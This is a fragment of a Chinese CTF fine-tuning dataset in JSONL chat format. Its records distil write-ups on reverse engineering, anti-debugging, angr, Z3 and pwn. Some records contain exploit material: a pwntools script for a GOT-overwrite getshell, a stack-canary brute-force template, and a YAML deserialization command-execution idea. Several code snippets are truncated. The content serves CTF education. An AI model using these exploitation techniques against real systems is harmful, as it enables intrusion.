"section": "ELF", "source": "UPX 脱壳详解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "1d3d983c1e88161b", "source_split": "train", "split": "train", "split_group_key": "f36f0a67864f21c60b9867c7", "tags": ["reverse", "ctf-method"], "title": "UPX 脱壳详解", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-29096c36677716235f38", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《2025强网杯 Qclac》的“onCreate”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：2025强网杯 Qclac / onCreate\n关键词：origIntent、也就是说 BridgeActivity  必须在上一层就传入一个、BridgeActivity、intent、FLAG_ACTIVITY_NEW_TASK、onCreate、Activity、java、Intent、getIntent\n蒸馏要点：\n- BridgeActivity 会读取上一个 Activity 传来的 intent。\n- 也就是说 BridgeActivity  必须在上一层就传入一个`origIntent`，否则直接退出。\n- 检查 intent flags：要求 origIntent 必须带 FLAG_ACTIVITY_NEW_TASK 。\n- fallbackIntent 中确实加了`.addFlags(268435456);`，所以能通过检验。\n可用于训练的标准回答：\n##### onCreate\n\nBridgeActivity 会读取上一个 Activity 传来的 intent。\n\n```java\norigIntent = (Intent) getIntent().getParcelableExtra(\"origIntent\");\n```\n\n也就是说 BridgeActivity  必须在上一层就传入一个`origIntent`，否则直接退出。\n\n检查 intent flags：要求 origIntent 必须带 FLAG_ACTIVITY_NEW_TASK 。\n\nfallbackIntent 中确实加了`.addFlags(268435456);`，所以能通过检验。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::20d55075d0c15117", "original_line": 685, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "onCreate", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "20d55075d0c15117", "source_split": "train", "split": "train", "split_group_key": "e59e98d6300f82cf2b09d3eb", "tags": ["ctf-method"], "title": "2025强网杯 Qclac", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-290fe5f1bcc85d4eebc1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pyc：pyc文件》中“全局变量”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pyc：pyc文件》的“全局变量”。\n关联知识点：\n- `LOAD_GLOBAL`：用来加载全局变量，包括指定函数名，类名，模块名等全局符号\n- `STORE_GLOBAL`：用来给全局变量赋值。\n- 对应的 python 代码：\n代码片段：\n```\n0 LOAD_CONST     1 (101)\n2 STORE_GLOBAL   0 (num)\n4 LOAD_GLOBAL    1 (print)\n6 LOAD_GLOBAL    0 (num)\n8 CALL_FUNCTION  1\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c2699266eecf2c19", "original_line": 637, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "全局变量", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c2699266eecf2c19", "source_split": "train", "split": "train", "split_group_key": "bae4d24fececf9aca8bb4a2f", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-29a8fa627ffe97dd9bd5", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“符号化判断”？请用《Angr：Angr符号执行》中的内容回答。", "role": "user"}, {"content": "1. 判断一个 angr 中的表达式是否含有符号在反混淆程序分析、漏挖挖掘等场景中非常有意义。\n2. 基于符号执行运算特性，能够实现一个高精度的污点分析框架。\n3. 例如在某个程序点将 R0 寄存器设置赋值一个符号值，等程序遇到间接跳转时，判断 pc 寄存器是否是一个符号化的表达式，如果是则说明 R0 寄存器能够控制 PC 寄存器。\n4. 另外一个例子，将控制流平坦化混淆中的状态变量符号化，对函数进行符号执行，就能找出所有与状态变量相关的指令，这样能精准区分混淆产生的垃圾指令与真实代码指令。具体细节将在后续讨论。\n5. state 内存读取出来的数据也可以判断是否符号化", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::6ce362a42f7ddde7", "original_line": 112, "original_split": "validation", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "符号化判断", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "6ce362a42f7ddde7", "source_split": "validation", "split": "train", "split_group_key": "1aecafa6c8f8d6ef4f9fe199", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-29bb299291cc7b125175", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Base64》中“常规”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Base64》的“常规”。\n语言/类型：python\n关联知识点：\n- BUUCTF-reverse3\n- 拿到程序查壳，发现无壳\n- 之后运行一下，随意输入一串字符。\n- 判定代码逻辑为字符串比较。\n- ida 打开分析一下，发现主函数中只调用了一个`main_0`函数\n代码片段：\n```python\nimport base64\n\n#密文\ns=\"e3nifIH9b_C@n@dH\"\nflag=\"\"\n\nfor i in range(len(str)):\n    flag+=chr(ord(str[i])-i)\n\nprint(base64.b64decode(flag))\n#[FLAG_REDACTED]\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::1d4dd8a22a96080b", "original_line": 661, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "常规", "source": "Base64.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "1d4dd8a22a96080b", "source_split": "train", "split": "train", "split_group_key": "c8aaeea52479ad2fac3da5a8", "tags": ["reverse", "crypto", "ctf-method"], "title": "Base64", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-29ccf7f58932a9cf6ba8", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“爆破canary”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. 由于`fork`产生的子进程的`canary`与父进程相同，因此可以根据子进程是否打印错误信息来逐字节爆破`canary`。\n2. from pwn import *\n3. shell = ssh(host='node3.buuoj.cn', user='CTFMan', port=27525, password='guest')\n4. context.log_level = 'critical'\n5. canary = ''\n6. for i in range(4):", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::223340958c8e982e", "original_line": 688, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "爆破canary", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "223340958c8e982e", "source_split": "train", "split": "train", "split_group_key": "f7527c5e894f768bdadfa185", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2a6fcc08c255c067f819", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《反调试》中“IsDebuggerPresent”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《反调试》的“IsDebuggerPresent”。\n语言/类型：c\n关联知识点：\n- `IsDebuggerPresent`函数通过检查进程的 PEB 结构中的`BeingDebugged`字段来判断进程是否被调试。如果进程正在被调试，`BeingDebugged`字段会被设置为 1，函数返回非零值（通常为 1）。如果没有被调试，`BeingDebugged`字段为 0，函数返回 0。\n- PEB结构（部分）\n- 在代码中编写一个函数调用`IsDebuggerPresent`判断进程是否调试。\n代码片段：\n```c\n+0x000 InheritedAddressSpace : UChar\n+0x001 ReadImageFileExecOptions : UChar\n+0x002 BeingDebugged : UChar 调试标志\n+0x003 SpareBool : UChar\n+0x004 Mutant : Ptr32 Void\n+0x008 ImageBaseAddress : Ptr32 Void 映像基址\n+0x00c Ldr : Ptr32 _PEB_LDR_DATA 进程加载模块链表\n+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS\n+0x014 SubSystemData : Ptr32 Void\n+0x018 ProcessHeap : Ptr32 Void\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::6f706c992245ff0d", "original_line": 645, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "IsDebuggerPresent", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "6f706c992245ff0d", "source_split": "train", "split": "train", "split_group_key": "c08913a39b112b9ee333adef", "tags": ["pwn", "reverse"], "title": "反调试", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2ab10ef6782fddb39e33", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“我的空调呢”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / 我的空调呢\n关键词：lambda、data、def、libc、text、sla、num、menu、elf、str\n蒸馏要点：\n- 不正确的数组索引，数组越界\n- fun函数中存在数组越界漏洞。\n- 通过 edit 中的整数溢出漏洞操作写入 memset 的 got 表，然后调用 delete getshell。\n可用于训练的标准回答：\n### 我的空调呢\n\n> 不正确的数组索引，数组越界\n\n查保护：\n\n```shell\n    Arch:       amd64-64-little\n    RELRO:      Partial RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x3fc000)\n```\n\nfun函数中存在数组越界漏洞。\n\n通过 edit 中的整数溢出漏洞操作写入 memset 的 got 表，然后调用 delete getshell。\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\nia = lambda: io.interactive()\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' %...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::911259e2b5b80aa9", "original_line": 1078, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "我的空调呢", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "911259e2b5b80aa9", "source_split": "train", "split": "train", "split_group_key": "e1623a161d29ac22ecf83d97", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2b3e6d32f06ef667a0e1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Hash 类算法》的“2024极客大挑战 blastingmaster”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：Hash 类算法 / 2024极客大挑战 blastingmaster（第 1 段）\n关键词：sub_13E2、sub_1464、encrypt、dec、v3、MD5、byte_42DE、unk_2020、unk_4060、dword_4040\n蒸馏要点：\n- 分析主函数代码，发现读取了输入并去除换行符。然后由`byte_42DE`作为标志决定是否执行`sub_1464`函数，函数参数为我们输入的内容。然后再对指定大小内存进行比较检查对错。\n- 根据以上逻辑我们可以判断程序默认是执行`sub_1464`函数的，这个函数极可能就是加密函数。而`unk_2020`以及`unk_4060`可能就是存储密文的变量以及存储加密结果的变量。`dword_4040`很明显就是比较长度了。\n- 我们先根据代码逻辑进行函数及变量重命名方便理解。\n- 接下来我们首先使用 findcrypt 进行算法特征查找，但是最后 findcrypt 并没有找到算法特征。\n- 但是我们在函数窗口发现了算法特征，可以看到动态链接函数中的 MD5 字样。我们可以由此判断`encrypt`加密算法是 MD5 算法。\n- 进入`encrypt`函数分析，可以看到代码逻辑非常乱。\n- 我们先根据代码逻辑修改变量和函数类型。\n可用于训练的标准回答：\n### 2024极客大挑战 blastingmaster\n\n- 分析\n\n分析主函数代码，发现读取了输入并去除换行符。然后由`byte_42DE`作为标志决定是否执行`sub_1464`函数，函数参数为我们输入的内容。然后再对指定大小内存进行比较检查对错。\n\n根据以上逻辑我们可以判断程序默认是执行`sub_1464`函数的，这个函数极可能就是加密函数。而`unk_2020`以及`unk_4060`可能就是存储密文的变量以及存储加密结果的变量。`dword_4040`很明显就是比较长度了。\n\n我们先根据代码逻辑进行函数及变量重命名方便理解。\n\n重命名后：\n\n接下来我们首先使用 findcrypt 进行算法特征查找，但是最后 findcrypt 并没有找到算法特征。\n\n但是我们在函数窗口发现了算法特征，可以看到动态链接函数中的 MD5 字样。我们可以由此判断`encrypt`加密算法是 MD5 算法。\n\n进入`encrypt`函数分析，可以看到代码逻辑非常乱。\n\n我们先根据代码逻辑修改变量和函数类型。\n\n修改后的：\n\n这里`v3`变量获取了我们的输入，之后将`v3`作为参数传入了`sub_13E2`参数，并且将`dec`数组作为第二个参数传入函数。\n\n这里根据前面的逻辑判断，`sub_13E2`大概就是封装的 MD5 加密函数。`dec`是存放结果的数组。\n\n下面的逻辑就是对加密结果进行混淆的逻辑了。\n\n跟进`sub_13E2`函数查看，验证我们的判断是正确的。\n\n我们接下来分析函数中对加密结果进行混淆的逻辑。\n\n以上代码循环执行了十六次，即混淆了十六次。而混淆的数据以及存储的位置每次又都是不同的。我们可以判断这里我们的 md5 加密同样进行了十六次，而我们的 flag 前缀确定的是`SYS{`，所以我们可以将密文数据分为 16 组进行爆破。\n\n- exp\n\n```python\nimport hashlib", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::5aaf48be7ba8146e", "original_line": 1061, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "2024极客大挑战 blastingmaster", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "5aaf48be7ba8146e", "source_split": "train", "split": "train", "split_group_key": "3ca308307e820bd5dbf5f8d0", "tags": ["crypto", "ctf-method"], "title": "Hash 类算法", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2bbcba3549f74166937d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《反调试》中“SEH”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《反调试》的“SEH”。\n语言/类型：cpp\n关联知识点：\n- 结构化异常处理（Structured Exception Handling, SEH）是 Windows 操作系统提供的一种异常处理机制，它使开发者能够以一种结构化的方式处理程序运行时可能发生的各种异常情况。\n- 当异常发生时，系统会遍历 SEH 链查找能够处理该异常的处理器。如果找到合适的处理器，控制权将转移给它。如果没有处理器能处理该异常，系统将终止程序。\n- 在 C/C++ 中，SEH 主要通过以下关键字实现：\n- 以下代码生成了一个断点异常。如果没有调试器，异常会被 SEH 处理器捕获。如果有调试器，调试器通常会接管这个异常。\n代码片段：\n```cpp\n__try {\n    // 可能引发异常的代码\n}\n__except(filter_expression) {\n    // 异常处理代码\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::e311d9cb8e8b8e0e", "original_line": 819, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "SEH", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "e311d9cb8e8b8e0e", "source_split": "train", "split": "train", "split_group_key": "5b871c52e9cf205a77ad4f3f", "tags": ["reverse", "ctf-method"], "title": "反调试", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2c002160557e0a8d0d1d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Z3》中“添加约束”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Z3》的“添加约束”。\n语言/类型：python\n关联知识点：\n- 我们可以通过求解器的`add()`方法为指定求解器添加约束条件，约束条件可以直接通过`z3`变量组成的式子进行表示：\n- 对于布尔类型的式子而言，我们可以使用z3内置的`And()`、`Or()`、`Not()`、`Implies()`等方法进行布尔逻辑运算：\n代码片段：\n```python\ns.add(x*5==10)\ns.add(y*1/2==x)\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::4467b773af4cf5e1", "original_line": 798, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "添加约束", "source": "Z3.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "4467b773af4cf5e1", "source_split": "train", "split": "train", "split_group_key": "db8461900fa59a3c2e2f24ec", "tags": ["reverse"], "title": "Z3", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2c7ad5b2eb0a278e9cbc", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“思路”？请用《2025强网杯 Qclac》中的内容回答。", "role": "user"}, {"content": "1. // 取前 8 个字节作为 token\n2. StringBuilder sb = new StringBuilder();\n3. for(int i = 0; i  /data/data/com.qinquang.calc/files/history.yml\n4. 这行 YAML 指定反序列化类为 PingUtil（目标程序中定义的一个类），\n5. 并在其实例化时执行命令：cat flag.txt 并重定向到 history.yml 文件中。\n6. private String getExp()", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["web", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::ce69213d76a5d1bd", "original_line": 1013, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "思路", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "ce69213d76a5d1bd", "source_split": "train", "split": "train", "split_group_key": "6c46895f1113d1ddfab2934c", "tags": ["web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2ca03c2edbaa46196293", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《反调试》中“利用 session id”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《反调试》的“利用 session id”。\n语言/类型：c\n关联知识点：\n- 不论程序是否被调试器跟踪，session id 是不变的，而 ppid 会变。\n代码片段：\n```c\n#include\n#include\n#include\n\nint main()\n{\n  if(getsid(getpid())!=getppid()){\n    puts(\"debugging\");\n    exit(0);\n  }\n  puts(\"not debugging\");\n  return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::64279aca6c63b0e7", "original_line": 1050, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "利用 session id", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "64279aca6c63b0e7", "source_split": "train", "split": "train", "split_group_key": "2bff803de70140152be69cb7", "tags": ["reverse"], "title": "反调试", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2ce141b68e6d5a6f2642", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“爆破canary”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：Pwn：Stack / 爆破canary（第 1 段）\n关键词：canary、ELF、chr、include、不同编译器编译出来的程序、位置可能不同，比如对于ubuntu来说：使用gcc编译出来的32位程序、会被写在、，64位程序则在、，后者的、rbp\n蒸馏要点：\n- 不同编译器编译出来的程序`canary`位置可能不同，比如对于ubuntu来说：使用gcc编译出来的32位程序`canary`会被写在`ebp-0xc`，64位程序则在`rbp-0x8`，后者的`canary`才和栈底相邻。\n- 对于Canary，虽然每次进程重启后Canary不同，但是同一个进程中的不同线程的Cannary是相同的，并且通过fork函数创建的子进程中的canary也是相同的，因为fork函数会直接拷贝父进程的内存。\n- 最低位为0x00，之后逐次爆破，如果canary爆破不成功，则程序崩溃；爆破超过则程序进行下面的逻辑。由此可判断是否成功。\n- 我们可以利用这样的特点，彻底逐个字节将Canary爆破出来。\n- 爆破canary的通用模板：\n可用于训练的标准回答：\n### 爆破canary\n\n栈帧布局\n\n```\nLow\nAddress |                 |\n        +-----------------+\n        | 局部变量         |\n\t    +-----------------+\nrbp-8 =>| canary value    |\n        +-----------------+\nrbp =>  | old ebp         |\n        +-----------------+\n        | return address  |\n        +-----------------+\n```\n\n不同编译器编译出来的程序`canary`位置可能不同，比如对于ubuntu来说：使用gcc编译出来的32位程序`canary`会被写在`ebp-0xc`，64位程序则在`rbp-0x8`，后者的`canary`才和栈底相邻。\n\n爆破原理\n\n* 对于Canary，虽然每次进程重启后Canary不同，但是同一个进程中的不同线程的Cannary是相同的，并且通过fork函数创建的子进程中的canary也是相同的，因为fork函数会直接拷贝父进程的内存。\n* 最低位为0x00，之后逐次爆破，如果canary爆破不成功，则程序崩溃；爆破超过则程序进行下面的逻辑。由此可判断是否成功。\n* 我们可以利用这样的特点，彻底逐个字节将Canary爆破出来。\n\n爆破canary的通用模板：\n\n```python\n#coding=utf8\nfrom pwn import *\ncontext.log_level = 'debug'\ncontext.terminal = ['gnome-terminal','-x','bash','-c']\ncontext(arch='i386', os='linux')\nlocal = 1\nelf = ELF('./bin1')\n\nif local:\n    p = process('./bin1')\n    #libc = elf.libc\n\nelse:...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::1e2f1c49c5787330", "original_line": 658, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "爆破canary", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "1e2f1c49c5787330", "source_split": "train", "split": "train", "split_group_key": "285579b0995440e303acd8ae", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-2d098d98a588429ce548", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Angr：Angr符号执行》的“State状态”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Angr：Angr符号执行 / State状态\n关键词：state、entry_state、blank_state、factory、addr、State、angr、regs、proj、RAX\n蒸馏要点：\n- Project 实际上只是将二进制文件加载进来了，要执行它，实际上是对 SimState 对象进行操作，它是程序的状态。\n- 要创建状态，需要使用 Project 对象中的 factory，它还可以用于创建模拟管理器和基本块，如下：\n- 预设状态有四种方式如下：\n- | 预设状态方式       | 描述                                                     |\n- | entry_state        | 初始化状态为程序运行到程序入口点处的状态                 |\n- | blank_state(addr=) | 大多数数据都没有初始化，状态中下一条指令为 addr 处的指令 |\n- | full_init_state    | 共享库和预定义内容已经加载完毕，例如刚加载完共享库       |\n可用于训练的标准回答：\n### 